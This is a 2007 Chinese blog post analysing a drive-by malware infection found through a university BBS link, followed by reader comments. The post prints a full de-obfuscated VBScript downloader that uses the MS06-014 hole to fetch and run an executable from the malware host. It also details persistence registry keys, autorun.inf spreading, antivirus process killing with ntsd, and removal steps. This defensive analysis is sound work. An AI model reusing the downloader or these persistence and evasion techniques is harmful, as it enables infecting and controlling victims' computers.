百度空间 | 百度首页 
 
查看文章
 
新年第一弹,学校BBS有毒链接事件,winsys16_******.dll、mplay.com分析,“真相只有一个”!
2007-01-01 06:19

新年钟声敲响之际,闲逛于学校BBS,最关注的除了我们学院的版面之外,当然是电脑病毒版块。
结果正是在virus版有收获。除了发现熊猫烧香终于现身我校之外,还有一帖让我实实在在地show了一把,我的回帖几乎是我这一年来在反病毒论坛上收获的缩影。

原帖在http://bbs.zsu.edu.cn/bbstcon?board=Virus&file=M.1167599541.A(偶是中大人……)

发帖的同学(应该是师兄吧)点了BBS上发的一个网页链接,结果问题就来了。而该版的版主师兄,去看了那个网页,回复“不过我看了那个网页,并没有病毒...也许是其它的吧...”

真的没有病毒吗?!我去看了一下。“真相只有一个!”事实证明,“智者千虑,必有一失”,师兄漏算了……

于是我便回了一帖,老实说,我从没有对一个病毒分析写得如此之多。不过,我深知“看到的不一定是全部”,何况我连虚拟机都没开,只是在sandboxie上弄弄,所以分析只能算主要,测试也只能叫粗略。其实只是为了让不了解反病毒的师兄师弟们比较好理解,所以细节上说得比较罗嗦,要是叫M或蛊毒以及其他的网上朋友们看见,恐怕又要怪我写得又臭又长了。有些内容不适于在学校BBS上发,比如恶意脚本的真面目等,在这里补上,就更显得长了。

不过,死皮赖脸地向M、蛊毒们说一句,是朋友的话,就全部看完它!!当然,有一些是常识,文中指明M等人可以跳过不看。

原网页(亏它的内容还是杀软评论)hxxp://www.pcyk.com/virus/214058790.html(将http中的tt改成xx,以防误点)下方有一段:
<script type="text/javascript" src="/js/count.js"></script>

hxxp://www.pcyk.com/js/count.js中有:

document.write("<iframe src=\"http:\/\/www.aiwanqq.com\/tv\/1.htm\" width=\"0\" height=\"0\" frameborder=\"0\"><\/iframe>");


即跳转到hxxp://www.aiwanqq.com/tv/1.htm
这个1.htm才是恶意脚本,其中的主要部分是加密的vbscript,还原了一下,结果:

on error resume next
curl="http://www.aiwanqq.com/tp.exe"
fname1="tp.exe"
fname2="tp.vbs"
Set df = document.createElement("object")
df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
str="Microsoft.XMLHTTP"
Set x = df.CreateObject(str,"")
C1="Ado"
C2="db."
C3="str"
C4="eam"
str1=C1&C2&C3&C4
str5=str1
set S = df.createobject(str5,"")
S.type = 1
str6="GET"
x.Open str6, curl, False
x.Send
s1="Script"
s2="ing."
s3="File"
s4="SystemObject"
s0=s1+s2+s3+s4
set F = df.createobject(s0,"")
set tmp = F.GetSpecialFolder(2)
fname1= F.BuildPath(tmp,fname1)
S.open
S.write x.responseBody
S.savetofile fname1,2
S.close
fname2= F.BuildPath(tmp,fname2)
Set ts = F.OpenTextFile(fname2, 2, True)
ts.WriteLine "Set Shell = CreateObject(""Shell.Application"")"
sql="Shell.ShellExecute """+fname1+""","""","""",""open"",0"
ts.WriteLine sql
ts.close
if F.FileExists(fname1)=true then
if F.FileExists(fname2)=true then
    set Q = df.createobject("Shell.Application","")
    Q.ShellExecute fname2,"","","open",0
end if
end if


利用MS06-014漏洞,下载hxxp://www.aiwanqq.com/tp.exe到本机临时文件夹,命名为tp.exe,再创建tp.vbs并写入脚本,然后执行tp.vbs,而tp.vbs中的命令正是运行被下载到本机的tp.exe

一般这样的恶意脚本,都是下载.exe文件和运行直接一起做了,可是这个脚本却还要用.vbs来运行.exe文件,为何?

这应该是针对瑞星杀毒软件或卡卡安全助手的“IE防漏墙”技术的做法。“IE防漏墙”可以监视IE运行的动作,如果像以前一样,直接用IE运行.exe程序,会被“IE防漏墙”截获并通知用户。但是,“IE防漏墙”不监视IE运行.vbs文件的操作。于是黑客利用这一点,先完成下载.exe程序,再让IE运行.vbs文件,绕过“IE防漏墙”的监视,通过.vbs的脚本实现病毒.exe程序的运行。(这一段话,M等人完全可以跳过,偶们早已知晓的事实……)

至于大家有的说没有毒,而且确实没有中毒,也很容易解释(M等人继续跳过吧,更是常识……)
网页木马是通过恶意脚本,利用漏洞来实现下载和运行的,所以访问者的结果有以下可能(假设防火墙没能阻止,除了杀毒软件外没有其他监视软件,也没有像“IE防漏墙”这样的设置):
1.电脑打了针对MS06-014漏洞的补丁,杀毒软件查不出这个脚本,那么就既没真正中马,也没什么表现。脚本文件虽然下载到本机,却没能达到下载exe并运行的目的,只能静静地躺在IE临时文件夹中。
2.电脑打了针对MS06-014漏洞的补丁,杀毒软件查出这个脚本,那么杀毒软件报毒,清除脚本,也就没有让它执行起来,不会下载和运行病毒程序。
3.电脑没打相应补丁,不过杀毒软件争气,查出了脚本,同样杀毒软件报毒,清除脚本,也就没有让它执行起来,不会下载和运行病毒程序。
4.电脑没打相应补丁,杀毒软件也查不出经过加密的脚本,但是查得出下载下来的病毒,那么,脚本得以运行,但在下载exe并运行的过程中被杀毒软件阻止,杀毒软件报毒并清除。
5.最不幸的情况,电脑没打相应补丁,杀毒软件既查不出来经过加密的脚本,也查不出来下载的病毒,那结果,就是中毒。


tp.exe行为及查杀方法简要分析:


tp.exe,Delphi所写,经过加壳处理
用PEID0.94查壳,显示NE-Exe Executable Image *
这壳咋脱?调试能力欠缺,算了,先不理它。

tp.exe运行结果:

文件创建:
创建批处理文件myDelm.bat,调用cmd.exe运行此批处理文件,达到删除原病毒文件
后台打开两个IE进程,创建及下载的东西主要有(不包括临时文件夹中的内容):
%systemroot%\mywinsys.ini(这是个设置文件)
%systemroot%\system32\AlxRes061231.exe
%systemroot%\system32\scrsys16_061231.scr
%systemroot%\system32\scrsys061231.scr
%systemroot%\system32\winsys16_061231.dll
%systemroot%\system32\winsys32_061231.dll
D:\autorun.inf
D:\mplay.com
说明:
%systemroot%是环境变量,对于系统是XP,装在C盘的系统,它一般指C:\WINDOWS文件夹,以下假设为此情况作分析。
我的笔记本硬盘只有两个分区,如果有更多分区,有可能其他非系统分区下也会创建autorun.inf和mplay.com。
以上文件名中的061231,应该跟病毒版本有关(此病毒具有自动连网更新的功能),不同的中毒电脑情况有所不同。

autorun.inf内容:
[autorun]
open=d:\mplay.com

mywinsys.ini内容:
[hitpop]
test=1
first=1
ver=061231
kv=0
[exe]
fn_pif=d:\mplay.com
fn=C:\WINDOWS\system32\AlxRes061231.exe
[exe_bak]
fn=C:\WINDOWS\system32\scrsys061231.scr
[dll_hitpop]
fn=C:\WINDOWS\system32\winsys32_061231.dll
[dll_start_bak]
fn=C:\WINDOWS\system32\scrsys16_061231.scr
[dll_start]
fn=C:\WINDOWS\system32\winsys16_061231.dll
[ie]
run=ok


主要注册表修改:
(1)有关启动项:
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
将Userinit键的值修改为
C:\WINDOWS\system32\Userinit.exe,rundll32.exe C:\WINDOWS\system32\winsys16_061231.dll start
原默认值为
C:\WINDOWS\system32\Userinit.exe,

这样使得每次开机用户登录时,会调用rundll32.exe来加载C:\WINDOWS\system32\winsys16_061231.dll


[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
AutoRun键的值修改为d:\mplay.com
其结果,是每次运行cmd命令,都会同时运行d:\mplay.com这个病毒

病毒主要通过以上两项来实现启动,当然还有非系统盘符中的autorun.inf,使得双击盘符时会运行mplay.com

(2)其他可能的注册表修改(关于弹窗):
可能在以下地方添加相应键值:
[HKEY_CURRENT_USER\Software\Baidu\BaiduBar\WhiteList]
[HKEY_CURRENT_USER\Software\Yahoo\Assistant\Assist\adwurl]
[HKEY_CURRENT_USER\Software\Google\NavClient\1.1\whitelist]
(如果原来没有这些路径,就应该不会添加。以上三个工具,百度搜霸、雅虎助手、goolge工具条,都是有屏蔽弹出网页功能的软件。病毒尝试添加相应键值的目的,应该是把自己弹出的网页加入以上三个工具的白名单中,这样弹出网页的时候此三个工具就“熟视无睹”了)
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\New Windows\Allow]
(同样应该是让IE自身的阻止弹出网页功能对它允许弹出窗口)

其他行为:
用命令ntsd -c q -p 
尝试寻找并结束杀毒软件的有关进程,
具体要对付多少个杀软,没仔细去看,不过至少有:
KRegEx.exe
KVXP.kxp
江民首当其冲了。
好像还有卡巴。不过瑞星不在其列。但是瑞星最新版19.03.62对此病毒根本没有反应,汗。

ipconfig /all >
Physical Address
用命令获取网卡物理地址吗?意欲何为?该不会是ARP欺骗吧?

C:\WINDOWS\system32\winsys32_061231.dll应该是用来下载的,连网下载新版本更新。
一个会自我更新的病毒……

清除方法:

关闭所有浏览器和其他不必要的进程。

在注册表展开
[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon]
将Userinit键的值改回
C:\WINDOWS\system32\Userinit.exe,
(视系统所装的盘符和系统版本而有所不同,总之就是把后面添加的内容删除。记得最后的逗号要留下)

在注册表展开
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
将AutoRun键的值中的d:\mplay.com内容删除,也就是把值改为空

清空IE临时文件夹,重启电脑后删除文件:
%systemroot%\mywinsys.ini
%systemroot%\system32\AlxRes061231.exe
%systemroot%\system32\scrsys16_061231.scr
%systemroot%\system32\scrsys061231.scr
%systemroot%\system32\winsys16_061231.dll
%systemroot%\system32\winsys32_061231.dll
右键打开各非系统盘符下,显示隐藏文件,删除其中的autorun.inf、mplay.com

至于其他可能被改的软件设置,就自己酌情修改回来。最后再清理一下注册表的垃圾。

由于测得比较粗,以上信息可能有遗漏。比如在我这边没有修改显示隐藏文件的注册表设置,不知道真正中毒的电脑的情况如何。也不清楚除了结束杀软进程外,是否有修改杀软的服务项以禁用监控。

以上内容为我自己测试所得,转帖请注明作者和出处,谢谢。

by 轩辕小聪

PS:原来是直接在BBS回复页面上编辑的,但是写到将完之时,因为剪切用了快捷键ctrl+x,而在这个页面,ctrl+x实际上是发表文章的快捷键,结果就发了,但是,网络刚好不畅,结果是,找不到服务器,偶用近两个小时辛辛苦苦写的内容没了……不甘心,重新写了一次,这次当然是先在记事本写,再搬过去。

鸣谢:tkabc,一起关注和讨论此毒,特别是对我发现但不敢确定的一些内容做出肯定。魔法,对我对该脚本的分析做出肯定。

update:

刚刚又用UltraEdit看了一下winsys16_061231.dll,虽然因为没脱壳,不抱啥希望,但是还是有进一步收获。
看来病毒作者是个比较喜欢写注释的人,里面可看到“瑞星注册表提示...同意修改...确定”、“AVP...主动防御警...创建规则...允许...跳过”“IE执行保护..”等字样,猜测此dll尝试跳过瑞星IE执行保护(与前面所说的vbscript脚本吻合)、瑞星注册表监控、卡巴主动防御(这两者采用一跳出提示自动点允许或跳过并创建规则永久允许的方法)。
看来这东东至少对以上三款杀毒软件有研究“对策”(对江民的最狠,结束人家进程)。至于编写者是中国人这一点,看那些个汉字注释,不用怀疑了吧。


类别:默认分类 | 添加到搜藏 | 分享到i贴吧 | 浏览() | 评论 (16)
 
最近读者:
 
网友评论:
1
2007-01-01 07:04 | 回复
当然,可能该页面不止挂一个,不过偶看了里面好几个js,好不容易找到count.js(本来还以为它定是流量计,没有理它……),那病毒又如此“可爱”,就一股脑写了起来。 因为昨天看柯南,影响还在,又是纠正版主师兄的看法,于是不由得用了颇有柯南气息的标题,刚好配上柯南片尾曲的背景音乐:)
 
2
2007-01-01 07:11 | 回复
师兄的结论被偶推翻,不知道会不会尴尬。偶在别处也做版主,而且不止一个反病毒版块的版主,被会员指出错误当然是有点郁闷的。不过,“真相只有一个”,这是柯南们理直气壮的口号,这也是理工人追求真理的精神写照。
 
3
2007-01-01 08:31 | 回复
通俗易懂,老少皆宜。。 你是那个什么什么彩虹中大的。。地球人都知道。哈哈。。 写的很好。用命令ntsd -c q -p 尝试寻找并结束杀毒软件的有关进程这倒是头一次听到
 
4
2007-01-01 09:01 | 回复
NTSD.exe怎么用,其实偶完全不懂 我在此之前唯一一次看到它,是在这里: http://www.blogcn.com/u2/61/34/syssafety/blog/43467116.html 我只深深记住了NTSD.exe可以用来结束进程,其他的一概不知。 但是就是这么点记忆,让我看到这个命令时马上反应过来。 何况还有进程名在附近,还有TK肯定,我才敢发出来…… PS:闪电弟弟初三,现在期末应该好忙吧。阿奔成功把他拉进了群,果然让小朋友跟小朋友谈更容易,嘻嘻……
 
5
2007-01-01 09:15 | 回复
很好,通俗易懂 拜读 聪,转一下这贴,会注明出处和作者。 ipconfig /all > Physical Address 用命令获取网卡物理地址吗?意欲何为?该不会是ARP欺骗吧? 极有可能是后者
 
6
2007-01-01 10:44 | 回复
一说起闪电,闪电就来了。结果跟阿奔和TK说开了。 闪电,阿奔,TK 擅长的语言分别是C++、DELPHI、JAVA 年龄15、16、17 真是有趣的组合哇…… 那些在网上混了几年,网龄超长却还什么计算机编程都不懂,连中个小毒都要犯愁的人,看到他们中任何一个,大概都会觉得对不起自己的年龄…… 要是加上14岁的CONS弟弟,就更完整了,CONS玩HIPS,呵呵……
 
7
2007-01-01 10:46 | 回复
写得很不错~呵呵 但从winsys16_061231.dll的Import Table看~winsys16_061231.dll应该不是用来下载东西 反而winsys32_061231.dll应该是个Downloader... 最少看到 -winsys16_061231.dll的Export Table有 IECreate这个Function -从Import Table可找到Downloader用的API URLDownloadToFileA(),FindFirstUrlCacheEntryA(),FindNextUrlCacheEntryA(),DeleteUrlCacheEntry() 1. 用URLDownloadToFileA() 下载木马文件,保存到特定文件夹 2. 用FindFirstUrlCacheEntryA()和FindNextUrlCacheEntryA() 找出在IE缓存中的木马文件 (因为下载时会是下载到IE缓存,再copy到特定文件夹,会留下文件) 3. 用DeleteUrlCacheEntry() 删除在IE缓存中的木马文件
 
8
2007-01-01 10:49 | 回复
上面打错~是 "winsys32_061231.dll的Export Table有 IECreate这个Function" 呵呵
 
9
2007-01-01 11:23 | 回复
改来了。winsys16_061231.dll貌似是运行和保护自身,对付杀软的,呵呵。
 
10
2007-01-01 11:33 | 回复
呵呵,祝各位元旦快乐: )
 
11
2007-01-02 21:35 | 回复
看不到名字。。。看看样子,闪电,老婆都出来了
 
12
2007-01-02 21:35 | 回复
看不到名字。。。看看样子,闪电,老婆都出来了
 
13
2007-01-03 01:19 | 回复
看了贴,顶一下! 师弟加油!
 
14
2007-01-03 03:46 | 回复
感觉不错,这几位兄弟技术还听高的,我以后要常来坐坐,呵呵
 
15
2007-01-21 13:48 | 回复
好长.终于看完了,汗
 
16
2007-01-30 00:15 | 回复
朋友的电脑就是中了这个病毒,搞了我一个下午没办法~~重装了事 我遇到的可能是变种,会一直监视Userinit键的值,我一改成正常的,它又自动改回来了 还有这病毒能对付Mcafee,直接杀进程
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu